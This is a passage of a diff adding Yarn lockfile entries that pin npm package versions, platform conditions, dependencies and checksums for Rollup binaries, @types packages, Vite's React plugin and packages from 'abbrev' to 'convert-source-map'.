+"@rollup/rollup-android-arm64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-android-arm64@npm:4.59.0" + conditions: os=android & cpu=arm64 + languageName: node + linkType: hard + +"@rollup/rollup-darwin-arm64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-darwin-arm64@npm:4.59.0" + conditions: os=darwin & cpu=arm64 + languageName: node + linkType: hard + +"@rollup/rollup-darwin-x64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-darwin-x64@npm:4.59.0" + conditions: os=darwin & cpu=x64 + languageName: node + linkType: hard + +"@rollup/rollup-freebsd-arm64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-freebsd-arm64@npm:4.59.0" + conditions: os=freebsd & cpu=arm64 + languageName: node + linkType: hard + +"@rollup/rollup-freebsd-x64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-freebsd-x64@npm:4.59.0" + conditions: os=freebsd & cpu=x64 + languageName: node + linkType: hard + +"@rollup/rollup-linux-arm-gnueabihf@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-arm-gnueabihf@npm:4.59.0" + conditions: os=linux & cpu=arm & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-arm-musleabihf@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-arm-musleabihf@npm:4.59.0" + conditions: os=linux & cpu=arm & libc=musl + languageName: node + linkType: hard + +"@rollup/rollup-linux-arm64-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-arm64-gnu@npm:4.59.0" + conditions: os=linux & cpu=arm64 & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-arm64-musl@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-arm64-musl@npm:4.59.0" + conditions: os=linux & cpu=arm64 & libc=musl + languageName: node + linkType: hard + +"@rollup/rollup-linux-loong64-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-loong64-gnu@npm:4.59.0" + conditions: os=linux & cpu=loong64 & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-loong64-musl@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-loong64-musl@npm:4.59.0" + conditions: os=linux & cpu=loong64 & libc=musl + languageName: node + linkType: hard + +"@rollup/rollup-linux-ppc64-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-ppc64-gnu@npm:4.59.0" + conditions: os=linux & cpu=ppc64 & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-ppc64-musl@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-ppc64-musl@npm:4.59.0" + conditions: os=linux & cpu=ppc64 & libc=musl + languageName: node + linkType: hard + +"@rollup/rollup-linux-riscv64-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-riscv64-gnu@npm:4.59.0" + conditions: os=linux & cpu=riscv64 & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-riscv64-musl@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-riscv64-musl@npm:4.59.0" + conditions: os=linux & cpu=riscv64 & libc=musl + languageName: node + linkType: hard + +"@rollup/rollup-linux-s390x-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-s390x-gnu@npm:4.59.0" + conditions: os=linux & cpu=s390x & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-x64-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-x64-gnu@npm:4.59.0" + conditions: os=linux & cpu=x64 & libc=glibc + languageName: node + linkType: hard + +"@rollup/rollup-linux-x64-musl@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-linux-x64-musl@npm:4.59.0" + conditions: os=linux & cpu=x64 & libc=musl + languageName: node + linkType: hard + +"@rollup/rollup-openbsd-x64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-openbsd-x64@npm:4.59.0" + conditions: os=openbsd & cpu=x64 + languageName: node + linkType: hard + +"@rollup/rollup-openharmony-arm64@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-openharmony-arm64@npm:4.59.0" + conditions: os=openharmony & cpu=arm64 + languageName: node + linkType: hard + +"@rollup/rollup-win32-arm64-msvc@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-win32-arm64-msvc@npm:4.59.0" + conditions: os=win32 & cpu=arm64 + languageName: node + linkType: hard + +"@rollup/rollup-win32-ia32-msvc@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-win32-ia32-msvc@npm:4.59.0" + conditions: os=win32 & cpu=ia32 + languageName: node + linkType: hard + +"@rollup/rollup-win32-x64-gnu@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-win32-x64-gnu@npm:4.59.0" + conditions: os=win32 & cpu=x64 + languageName: node + linkType: hard + +"@rollup/rollup-win32-x64-msvc@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-win32-x64-msvc@npm:4.59.0" + conditions: os=win32 & cpu=x64 + languageName: node + linkType: hard + +"@types/babel__core@npm:^7.20.5": + version: 7.20.5 + resolution: "@types/babel__core@npm:7.20.5" + dependencies: + "@babel/parser": "npm:^7.20.7" + "@babel/types": "npm:^7.20.7" + "@types/babel__generator": "npm:*" + "@types/babel__template": "npm:*" + "@types/babel__traverse": "npm:*" + checksum: 10c0/bdee3bb69951e833a4b811b8ee9356b69a61ed5b7a23e1a081ec9249769117fa83aaaf023bb06562a038eb5845155ff663e2d5c75dd95c1d5ccc91db012868ff + languageName: node + linkType: hard + +"@types/babel__generator@npm:*": + version: 7.27.0 + resolution: "@types/babel__generator@npm:7.27.0" + dependencies: + "@babel/types": "npm:^7.0.0" + checksum: 10c0/9f9e959a8792df208a9d048092fda7e1858bddc95c6314857a8211a99e20e6830bdeb572e3587ae8be5429e37f2a96fcf222a9f53ad232f5537764c9e13a2bbd + languageName: node + linkType: hard + +"@types/babel__template@npm:*": + version: 7.4.4 + resolution: "@types/babel__template@npm:7.4.4" + dependencies: + "@babel/parser": "npm:^7.1.0" + "@babel/types": "npm:^7.0.0" + checksum: 10c0/cc84f6c6ab1eab1427e90dd2b76ccee65ce940b778a9a67be2c8c39e1994e6f5bbc8efa309f6cea8dc6754994524cd4d2896558df76d92e7a1f46ecffee7112b + languageName: node + linkType: hard + +"@types/babel__traverse@npm:*": + version: 7.28.0 + resolution: "@types/babel__traverse@npm:7.28.0" + dependencies: + "@babel/types": "npm:^7.28.2" + checksum: 10c0/b52d7d4e8fc6a9018fe7361c4062c1c190f5778cf2466817cb9ed19d69fbbb54f9a85ffedeb748ed8062d2cf7d4cc088ee739848f47c57740de1c48cbf0d0994 + languageName: node + linkType: hard + +"@types/d3-array@npm:^3.2.2": + version: 3.2.2 + resolution: "@types/d3-array@npm:3.2.2" + checksum: 10c0/6137cb97302f8a4f18ca22c0560c585cfcb823f276b23d89f2c0c005d72697ec13bca671c08e68b4b0cabd622e3f0e91782ee221580d6774074050be96dd7028 + languageName: node + linkType: hard + +"@types/d3-color@npm:*, @types/d3-color@npm:^3.1.3": + version: 3.1.3 + resolution: "@types/d3-color@npm:3.1.3" + checksum: 10c0/65eb0487de606eb5ad81735a9a5b3142d30bc5ea801ed9b14b77cb14c9b909f718c059f13af341264ee189acf171508053342142bdf99338667cea26a2d8d6ae + languageName: node + linkType: hard + +"@types/d3-format@npm:^3.0.4": + version: 3.0.4 + resolution: "@types/d3-format@npm:3.0.4" + checksum: 10c0/3ac1600bf9061a59a228998f7cd3f29e85cbf522997671ba18d4d84d10a2a1aff4f95aceb143fa9960501c3ec351e113fc75884e6a504ace44dc1744083035ee + languageName: node + linkType: hard + +"@types/d3-interpolate@npm:^3.0.4": + version: 3.0.4 + resolution: "@types/d3-interpolate@npm:3.0.4" + dependencies: + "@types/d3-color": "npm:*" + checksum: 10c0/066ebb8da570b518dd332df6b12ae3b1eaa0a7f4f0c702e3c57f812cf529cc3500ec2aac8dc094f31897790346c6b1ebd8cd7a077176727f4860c2b181a65ca4 + languageName: node + linkType: hard + +"@types/d3-path@npm:*, @types/d3-path@npm:^3.1.1": + version: 3.1.1 + resolution: "@types/d3-path@npm:3.1.1" + checksum: 10c0/2c36eb31ebaf2ce4712e793fd88087117976f7c4ed69cc2431825f999c8c77cca5cea286f3326432b770739ac6ccd5d04d851eb65e7a4dbcc10c982b49ad2c02 + languageName: node + linkType: hard + +"@types/d3-scale@npm:^4.0.9": + version: 4.0.9 + resolution: "@types/d3-scale@npm:4.0.9" + dependencies: + "@types/d3-time": "npm:*" + checksum: 10c0/4ac44233c05cd50b65b33ecb35d99fdf07566bcdbc55bc1306b2f27d1c5134d8c560d356f2c8e76b096e9125ffb8d26d95f78d56e210d1c542cb255bdf31d6c8 + languageName: node + linkType: hard + +"@types/d3-shape@npm:^3.1.7": + version: 3.1.8 + resolution: "@types/d3-shape@npm:3.1.8" + dependencies: + "@types/d3-path": "npm:*" + checksum: 10c0/49ec2172b9eb66fc1d036e2a23966216bb972e9af51ddbed134df24bd71aedf207bb1ef81903a119eb4e1f5e927cf44beacaf64c9af86474e5548594b102b574 + languageName: node + linkType: hard + +"@types/d3-time-format@npm:^4.0.3": + version: 4.0.3 + resolution: "@types/d3-time-format@npm:4.0.3" + checksum: 10c0/9ef5e8e2b96b94799b821eed5d61a3d432c7903247966d8ad951b8ce5797fe46554b425cb7888fa5bf604b4663c369d7628c0328ffe80892156671c58d1a7f90 + languageName: node + linkType: hard + +"@types/d3-time@npm:*, @types/d3-time@npm:^3.0.4": + version: 3.0.4 + resolution: "@types/d3-time@npm:3.0.4" + checksum: 10c0/6d9e2255d63f7a313a543113920c612e957d70da4fb0890931da6c2459010291b8b1f95e149a538500c1c99e7e6c89ffcce5554dd29a31ff134a38ea94b6d174 + languageName: node + linkType: hard + +"@types/d3-timer@npm:^3.0.2": + version: 3.0.2 + resolution: "@types/d3-timer@npm:3.0.2" + checksum: 10c0/c644dd9571fcc62b1aa12c03bcad40571553020feeb5811f1d8a937ac1e65b8a04b759b4873aef610e28b8714ac71c9885a4d6c127a048d95118f7e5b506d9e1 + languageName: node + linkType: hard + +"@types/esrecurse@npm:^4.3.1": + version: 4.3.1 + resolution: "@types/esrecurse@npm:4.3.1" + checksum: 10c0/90dad74d5da3ad27606d8e8e757322f33171cfeaa15ad558b615cf71bb2a516492d18f55f4816384685a3eb2412142e732bbae9a4a7cd2cf3deb7572aa4ebe03 + languageName: node + linkType: hard + +"@types/estree@npm:1.0.8, @types/estree@npm:^1.0.6, @types/estree@npm:^1.0.8": + version: 1.0.8 + resolution: "@types/estree@npm:1.0.8" + checksum: 10c0/39d34d1afaa338ab9763f37ad6066e3f349444f9052b9676a7cc0252ef9485a41c6d81c9c4e0d26e9077993354edf25efc853f3224dd4b447175ef62bdcc86a5 + languageName: node + linkType: hard + +"@types/hoist-non-react-statics@npm:^3.3.1": + version: 3.3.7 + resolution: "@types/hoist-non-react-statics@npm:3.3.7" + dependencies: + hoist-non-react-statics: "npm:^3.3.0" + peerDependencies: + "@types/react": "*" + checksum: 10c0/ed8f4e88338f7d021d0f956adf6089d2a12b2e254a03c05292324f2e986d2376eb9efdb8a4f04596823e8fca88c9d06361d20dab4a2a00dc935fb36ac911de55 + languageName: node + linkType: hard + +"@types/json-schema@npm:^7.0.15": + version: 7.0.15 + resolution: "@types/json-schema@npm:7.0.15" + checksum: 10c0/a996a745e6c5d60292f36731dd41341339d4eeed8180bb09226e5c8d23759067692b1d88e5d91d72ee83dfc00d3aca8e7bd43ea120516c17922cbcb7c3e252db + languageName: node + linkType: hard + +"@types/json5@npm:^0.0.29": + version: 0.0.29 + resolution: "@types/json5@npm:0.0.29" + checksum: 10c0/6bf5337bc447b706bb5b4431d37686aa2ea6d07cfd6f79cc31de80170d6ff9b1c7384a9c0ccbc45b3f512bae9e9f75c2e12109806a15331dc94e8a8db6dbb4ac + languageName: node + linkType: hard + +"@types/parse-json@npm:^4.0.0": + version: 4.0.2 + resolution: "@types/parse-json@npm:4.0.2" + checksum: 10c0/b1b863ac34a2c2172fbe0807a1ec4d5cb684e48d422d15ec95980b81475fac4fdb3768a8b13eef39130203a7c04340fc167bae057c7ebcafd7dec9fe6c36aeb1 + languageName: node + linkType: hard + +"@types/prop-types@npm:^15.7.15": + version: 15.7.15 + resolution: "@types/prop-types@npm:15.7.15" + checksum: 10c0/b59aad1ad19bf1733cf524fd4e618196c6c7690f48ee70a327eb450a42aab8e8a063fbe59ca0a5701aebe2d92d582292c0fb845ea57474f6a15f6994b0e260b2 + languageName: node + linkType: hard + +"@types/react-transition-group@npm:^4.4.12": + version: 4.4.12 + resolution: "@types/react-transition-group@npm:4.4.12" + peerDependencies: + "@types/react": "*" + checksum: 10c0/0441b8b47c69312c89ec0760ba477ba1a0808a10ceef8dc1c64b1013ed78517332c30f18681b0ec0b53542731f1ed015169fed1d127cc91222638ed955478ec7 + languageName: node + linkType: hard + +"@vitejs/plugin-react@npm:5.1.4": + version: 5.1.4 + resolution: "@vitejs/plugin-react@npm:5.1.4" + dependencies: + "@babel/core": "npm:^7.29.0" + "@babel/plugin-transform-react-jsx-self": "npm:^7.27.1" + "@babel/plugin-transform-react-jsx-source": "npm:^7.27.1" + "@rolldown/pluginutils": "npm:1.0.0-rc.3" + "@types/babel__core": "npm:^7.20.5" + react-refresh: "npm:^0.18.0" + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + checksum: 10c0/dd7b8f40717ecd4a5ab18f467134ea8135f9a443359333d71e4114aeacfc8b679be9fd36dc12290d076c78883a02e708bfe1f0d93411c06c9659da0879b952e3 + languageName: node + linkType: hard + +"abbrev@npm:^4.0.0": + version: 4.0.0 + resolution: "abbrev@npm:4.0.0" + checksum: 10c0/b4cc16935235e80702fc90192e349e32f8ef0ed151ef506aa78c81a7c455ec18375c4125414b99f84b2e055199d66383e787675f0bcd87da7a4dbd59f9eac1d5 + languageName: node + linkType: hard + +"acorn-jsx@npm:^5.3.2": + version: 5.3.2 + resolution: "acorn-jsx@npm:5.3.2" + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + checksum: 10c0/4c54868fbef3b8d58927d5e33f0a4de35f59012fe7b12cf9dfbb345fb8f46607709e1c4431be869a23fb63c151033d84c4198fa9f79385cec34fcb1dd53974c1 + languageName: node + linkType: hard + +"acorn@npm:^8.15.0, acorn@npm:^8.16.0": + version: 8.16.0 + resolution: "acorn@npm:8.16.0" + bin: + acorn: bin/acorn + checksum: 10c0/c9c52697227661b68d0debaf972222d4f622aa06b185824164e153438afa7b08273432ca43ea792cadb24dada1d46f6f6bb1ef8de9956979288cc1b96bf9914e + languageName: node + linkType: hard + +"agent-base@npm:^7.1.0, agent-base@npm:^7.1.2": + version: 7.1.4 + resolution: "agent-base@npm:7.1.4" + checksum: 10c0/c2c9ab7599692d594b6a161559ada307b7a624fa4c7b03e3afdb5a5e31cd0e53269115b620fcab024c5ac6a6f37fa5eb2e004f076ad30f5f7e6b8b671f7b35fe + languageName: node + linkType: hard + +"ajv@npm:^6.12.4": + version: 6.14.0 + resolution: "ajv@npm:6.14.0" + dependencies: + fast-deep-equal: "npm:^3.1.1" + fast-json-stable-stringify: "npm:^2.0.0" + json-schema-traverse: "npm:^0.4.1" + uri-js: "npm:^4.2.2" + checksum: 10c0/a2bc39b0555dc9802c899f86990eb8eed6e366cddbf65be43d5aa7e4f3c4e1a199d5460fd7ca4fb3d864000dbbc049253b72faa83b3b30e641ca52cb29a68c22 + languageName: node + linkType: hard + +"any-promise@npm:^1.0.0": + version: 1.3.0 + resolution: "any-promise@npm:1.3.0" + checksum: 10c0/60f0298ed34c74fef50daab88e8dab786036ed5a7fad02e012ab57e376e0a0b4b29e83b95ea9b5e7d89df762f5f25119b83e00706ecaccb22cfbacee98d74889 + languageName: node + linkType: hard + +"argparse@npm:^2.0.1": + version: 2.0.1 + resolution: "argparse@npm:2.0.1" + checksum: 10c0/c5640c2d89045371c7cedd6a70212a04e360fd34d6edeae32f6952c63949e3525ea77dbec0289d8213a99bbaeab5abfa860b5c12cf88a2e6cf8106e90dd27a7e + languageName: node + linkType: hard + +"aria-query@npm:^5.3.2": + version: 5.3.2 + resolution: "aria-query@npm:5.3.2" + checksum: 10c0/003c7e3e2cff5540bf7a7893775fc614de82b0c5dde8ae823d47b7a28a9d4da1f7ed85f340bdb93d5649caa927755f0e31ecc7ab63edfdfc00c8ef07e505e03e + languageName: node + linkType: hard + +"array-buffer-byte-length@npm:^1.0.1, array-buffer-byte-length@npm:^1.0.2": + version: 1.0.2 + resolution: "array-buffer-byte-length@npm:1.0.2" + dependencies: + call-bound: "npm:^1.0.3" + is-array-buffer: "npm:^3.0.5" + checksum: 10c0/74e1d2d996941c7a1badda9cabb7caab8c449db9086407cad8a1b71d2604cc8abf105db8ca4e02c04579ec58b7be40279ddb09aea4784832984485499f48432d + languageName: node + linkType: hard + +"array-includes@npm:^3.1.6, array-includes@npm:^3.1.8": + version: 3.1.9 + resolution: "array-includes@npm:3.1.9" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.4" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.24.0" + es-object-atoms: "npm:^1.1.1" + get-intrinsic: "npm:^1.3.0" + is-string: "npm:^1.1.1" + math-intrinsics: "npm:^1.1.0" + checksum: 10c0/0235fa69078abeac05ac4250699c44996bc6f774a9cbe45db48674ce6bd142f09b327d31482ff75cf03344db4ea03eae23edb862d59378b484b47ed842574856 + languageName: node + linkType: hard + +"array.prototype.findlast@npm:^1.2.5": + version: 1.2.5 + resolution: "array.prototype.findlast@npm:1.2.5" + dependencies: + call-bind: "npm:^1.0.7" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.2" + es-errors: "npm:^1.3.0" + es-object-atoms: "npm:^1.0.0" + es-shim-unscopables: "npm:^1.0.2" + checksum: 10c0/ddc952b829145ab45411b9d6adcb51a8c17c76bf89c9dd64b52d5dffa65d033da8c076ed2e17091779e83bc892b9848188d7b4b33453c5565e65a92863cb2775 + languageName: node + linkType: hard + +"array.prototype.flat@npm:^1.3.1": + version: 1.3.3 + resolution: "array.prototype.flat@npm:1.3.3" + dependencies: + call-bind: "npm:^1.0.8" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.5" + es-shim-unscopables: "npm:^1.0.2" + checksum: 10c0/d90e04dfbc43bb96b3d2248576753d1fb2298d2d972e29ca7ad5ec621f0d9e16ff8074dae647eac4f31f4fb7d3f561a7ac005fb01a71f51705a13b5af06a7d8a + languageName: node + linkType: hard + +"array.prototype.flatmap@npm:^1.3.2, array.prototype.flatmap@npm:^1.3.3": + version: 1.3.3 + resolution: "array.prototype.flatmap@npm:1.3.3" + dependencies: + call-bind: "npm:^1.0.8" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.5" + es-shim-unscopables: "npm:^1.0.2" + checksum: 10c0/ba899ea22b9dc9bf276e773e98ac84638ed5e0236de06f13d63a90b18ca9e0ec7c97d622d899796e3773930b946cd2413d098656c0c5d8cc58c6f25c21e6bd54 + languageName: node + linkType: hard + +"array.prototype.tosorted@npm:^1.1.4": + version: 1.1.4 + resolution: "array.prototype.tosorted@npm:1.1.4" + dependencies: + call-bind: "npm:^1.0.7" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.3" + es-errors: "npm:^1.3.0" + es-shim-unscopables: "npm:^1.0.2" + checksum: 10c0/eb3c4c4fc0381b0bf6dba2ea4d48d367c2827a0d4236a5718d97caaccc6b78f11f4cadf090736e86301d295a6aa4967ed45568f92ced51be8cbbacd9ca410943 + languageName: node + linkType: hard + +"arraybuffer.prototype.slice@npm:^1.0.4": + version: 1.0.4 + resolution: "arraybuffer.prototype.slice@npm:1.0.4" + dependencies: + array-buffer-byte-length: "npm:^1.0.1" + call-bind: "npm:^1.0.8" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.5" + es-errors: "npm:^1.3.0" + get-intrinsic: "npm:^1.2.6" + is-array-buffer: "npm:^3.0.4" + checksum: 10c0/2f2459caa06ae0f7f615003f9104b01f6435cc803e11bd2a655107d52a1781dc040532dc44d93026b694cc18793993246237423e13a5337e86b43ed604932c06 + languageName: node + linkType: hard + +"ast-types-flow@npm:^0.0.8": + version: 0.0.8 + resolution: "ast-types-flow@npm:0.0.8" + checksum: 10c0/f2a0ba8055353b743c41431974521e5e852a9824870cd6fce2db0e538ac7bf4da406bbd018d109af29ff3f8f0993f6a730c9eddbd0abd031fbcb29ca75c1014e + languageName: node + linkType: hard + +"async-function@npm:^1.0.0": + version: 1.0.0 + resolution: "async-function@npm:1.0.0" + checksum: 10c0/669a32c2cb7e45091330c680e92eaeb791bc1d4132d827591e499cd1f776ff5a873e77e5f92d0ce795a8d60f10761dec9ddfe7225a5de680f5d357f67b1aac73 + languageName: node + linkType: hard + +"async-generator-function@npm:^1.0.0": + version: 1.0.0 + resolution: "async-generator-function@npm:1.0.0" + checksum: 10c0/2c50ef856c543ad500d8d8777d347e3c1ba623b93e99c9263ecc5f965c1b12d2a140e2ab6e43c3d0b85366110696f28114649411cbcd10b452a92a2318394186 + languageName: node + linkType: hard + +"available-typed-arrays@npm:^1.0.7": + version: 1.0.7 + resolution: "available-typed-arrays@npm:1.0.7" + dependencies: + possible-typed-array-names: "npm:^1.0.0" + checksum: 10c0/d07226ef4f87daa01bd0fe80f8f310982e345f372926da2e5296aecc25c41cab440916bbaa4c5e1034b453af3392f67df5961124e4b586df1e99793a1374bdb2 + languageName: node + linkType: hard + +"axe-core@npm:^4.10.0": + version: 4.11.1 + resolution: "axe-core@npm:4.11.1" + checksum: 10c0/1e6997454b61c7c9a4d740f395952835dcf87f2c04fd81577217d68634d197d602c224f9e8f17b22815db4c117a2519980cfc8911fc0027c54a6d8ebca47c6a7 + languageName: node + linkType: hard + +"axobject-query@npm:^4.1.0": + version: 4.1.0 + resolution: "axobject-query@npm:4.1.0" + checksum: 10c0/c470e4f95008f232eadd755b018cb55f16c03ccf39c027b941cd8820ac6b68707ce5d7368a46756db4256fbc91bb4ead368f84f7fb034b2b7932f082f6dc0775 + languageName: node + linkType: hard + +"babel-plugin-macros@npm:^3.1.0": + version: 3.1.0 + resolution: "babel-plugin-macros@npm:3.1.0" + dependencies: + "@babel/runtime": "npm:^7.12.5" + cosmiconfig: "npm:^7.0.0" + resolve: "npm:^1.19.0" + checksum: 10c0/c6dfb15de96f67871d95bd2e8c58b0c81edc08b9b087dc16755e7157f357dc1090a8dc60ebab955e92587a9101f02eba07e730adc253a1e4cf593ca3ebd3839c + languageName: node + linkType: hard + +"balanced-match@npm:^1.0.0": + version: 1.0.2 + resolution: "balanced-match@npm:1.0.2" + checksum: 10c0/9308baf0a7e4838a82bbfd11e01b1cb0f0cf2893bc1676c27c2a8c0e70cbae1c59120c3268517a8ae7fb6376b4639ef81ca22582611dbee4ed28df945134aaee + languageName: node + linkType: hard + +"balanced-match@npm:^4.0.2": + version: 4.0.4 + resolution: "balanced-match@npm:4.0.4" + checksum: 10c0/07e86102a3eb2ee2a6a1a89164f29d0dbaebd28f2ca3f5ca786f36b8b23d9e417eb3be45a4acf754f837be5ac0a2317de90d3fcb7f4f4dc95720a1f36b26a17b + languageName: node + linkType: hard + +"baseline-browser-mapping@npm:^2.9.0": + version: 2.10.0 + resolution: "baseline-browser-mapping@npm:2.10.0" + bin: + baseline-browser-mapping: dist/cli.cjs + checksum: 10c0/da9c3ec0fcd7f325226a47d2142794d41706b6e0a405718a2c15410bbdb72aacadd65738bedef558c6f1b106ed19458cb25b06f63b66df2c284799905dbbd003 + languageName: node + linkType: hard + +"bezier-easing@npm:^2.1.0": + version: 2.1.0 + resolution: "bezier-easing@npm:2.1.0" + checksum: 10c0/138a160698de3c12501479cc80280d5cc0ab47df73e20d7b5058cba6d62c0876eb97e63aa1e398233269aa2a6bb396fb0ee394da391de7258c9da20729df5158 + languageName: node + linkType: hard + +"brace-expansion@npm:^1.1.7": + version: 1.1.12 + resolution: "brace-expansion@npm:1.1.12" + dependencies: + balanced-match: "npm:^1.0.0" + concat-map: "npm:0.0.1" + checksum: 10c0/975fecac2bb7758c062c20d0b3b6288c7cc895219ee25f0a64a9de662dbac981ff0b6e89909c3897c1f84fa353113a721923afdec5f8b2350255b097f12b1f73 + languageName: node + linkType: hard + +"brace-expansion@npm:^5.0.2": + version: 5.0.3 + resolution: "brace-expansion@npm:5.0.3" + dependencies: + balanced-match: "npm:^4.0.2" + checksum: 10c0/e474d300e581ec56851b3863ff1cf18573170c6d06deb199ccbd03b2119c36975f6ce2abc7b770f5bebddc1ab022661a9fea9b4d56f33315d7bef54d8793869e + languageName: node + linkType: hard + +"browserslist@npm:^4.24.0": + version: 4.28.1 + resolution: "browserslist@npm:4.28.1" + dependencies: + baseline-browser-mapping: "npm:^2.9.0" + caniuse-lite: "npm:^1.0.30001759" + electron-to-chromium: "npm:^1.5.263" + node-releases: "npm:^2.0.27" + update-browserslist-db: "npm:^1.2.0" + bin: + browserslist: cli.js + checksum: 10c0/545a5fa9d7234e3777a7177ec1e9134bb2ba60a69e6b95683f6982b1473aad347c77c1264ccf2ac5dea609a9731fbfbda6b85782bdca70f80f86e28a402504bd + languageName: node + linkType: hard + +"cacache@npm:^20.0.1": + version: 20.0.3 + resolution: "cacache@npm:20.0.3" + dependencies: + "@npmcli/fs": "npm:^5.0.0" + fs-minipass: "npm:^3.0.0" + glob: "npm:^13.0.0" + lru-cache: "npm:^11.1.0" + minipass: "npm:^7.0.3" + minipass-collect: "npm:^2.0.1" + minipass-flush: "npm:^1.0.5" + minipass-pipeline: "npm:^1.2.4" + p-map: "npm:^7.0.2" + ssri: "npm:^13.0.0" + unique-filename: "npm:^5.0.0" + checksum: 10c0/c7da1ca694d20e8f8aedabd21dc11518f809a7d2b59aa76a1fc655db5a9e62379e465c157ddd2afe34b19230808882288effa6911b2de26a088a6d5645123462 + languageName: node + linkType: hard + +"call-bind-apply-helpers@npm:^1.0.0, call-bind-apply-helpers@npm:^1.0.1, call-bind-apply-helpers@npm:^1.0.2": + version: 1.0.2 + resolution: "call-bind-apply-helpers@npm:1.0.2" + dependencies: + es-errors: "npm:^1.3.0" + function-bind: "npm:^1.1.2" + checksum: 10c0/47bd9901d57b857590431243fea704ff18078b16890a6b3e021e12d279bbf211d039155e27d7566b374d49ee1f8189344bac9833dec7a20cdec370506361c938 + languageName: node + linkType: hard + +"call-bind@npm:^1.0.7, call-bind@npm:^1.0.8": + version: 1.0.8 + resolution: "call-bind@npm:1.0.8" + dependencies: + call-bind-apply-helpers: "npm:^1.0.0" + es-define-property: "npm:^1.0.0" + get-intrinsic: "npm:^1.2.4" + set-function-length: "npm:^1.2.2" + checksum: 10c0/a13819be0681d915144467741b69875ae5f4eba8961eb0bf322aab63ec87f8250eb6d6b0dcbb2e1349876412a56129ca338592b3829ef4343527f5f18a0752d4 + languageName: node + linkType: hard + +"call-bound@npm:^1.0.2, call-bound@npm:^1.0.3, call-bound@npm:^1.0.4": + version: 1.0.4 + resolution: "call-bound@npm:1.0.4" + dependencies: + call-bind-apply-helpers: "npm:^1.0.2" + get-intrinsic: "npm:^1.3.0" + checksum: 10c0/f4796a6a0941e71c766aea672f63b72bc61234c4f4964dc6d7606e3664c307e7d77845328a8f3359ce39ddb377fed67318f9ee203dea1d47e46165dcf2917644 + languageName: node + linkType: hard + +"callsites@npm:^3.0.0": + version: 3.1.0 + resolution: "callsites@npm:3.1.0" + checksum: 10c0/fff92277400eb06c3079f9e74f3af120db9f8ea03bad0e84d9aede54bbe2d44a56cccb5f6cf12211f93f52306df87077ecec5b712794c5a9b5dac6d615a3f301 + languageName: node + linkType: hard + +"caniuse-lite@npm:^1.0.30001759": + version: 1.0.30001774 + resolution: "caniuse-lite@npm:1.0.30001774" + checksum: 10c0/cc6a340a5421b9a67d8fa80889065ee27b2839ad62993571dded5296e18f02bbf685ce7094e93fe908cddc9fefdfad35d6c010b724cc3d22a6479b0d0b679f8c + languageName: node + linkType: hard + +"chownr@npm:^3.0.0": + version: 3.0.0 + resolution: "chownr@npm:3.0.0" + checksum: 10c0/43925b87700f7e3893296c8e9c56cc58f926411cce3a6e5898136daaf08f08b9a8eb76d37d3267e707d0dcc17aed2e2ebdf5848c0c3ce95cf910a919935c1b10 + languageName: node + linkType: hard + +"clsx@npm:^2.1.1": + version: 2.1.1 + resolution: "clsx@npm:2.1.1" + checksum: 10c0/c4c8eb865f8c82baab07e71bfa8897c73454881c4f99d6bc81585aecd7c441746c1399d08363dc096c550cceaf97bd4ce1e8854e1771e9998d9f94c4fe075839 + languageName: node + linkType: hard + +"commander@npm:^4.0.0": + version: 4.1.1 + resolution: "commander@npm:4.1.1" + checksum: 10c0/84a76c08fe6cc08c9c93f62ac573d2907d8e79138999312c92d4155bc2325d487d64d13f669b2000c9f8caf70493c1be2dac74fec3c51d5a04f8bc3ae1830bab + languageName: node + linkType: hard + +"concat-map@npm:0.0.1": + version: 0.0.1 + resolution: "concat-map@npm:0.0.1" + checksum: 10c0/c996b1cfdf95b6c90fee4dae37e332c8b6eb7d106430c17d538034c0ad9a1630cb194d2ab37293b1bdd4d779494beee7786d586a50bd9376fd6f7bcc2bd4c98f + languageName: node + linkType: hard + +"convert-source-map@npm:^1.5.0": + version: 1.9.0 + resolution: "convert-source-map@npm:1.9.0" + checksum: 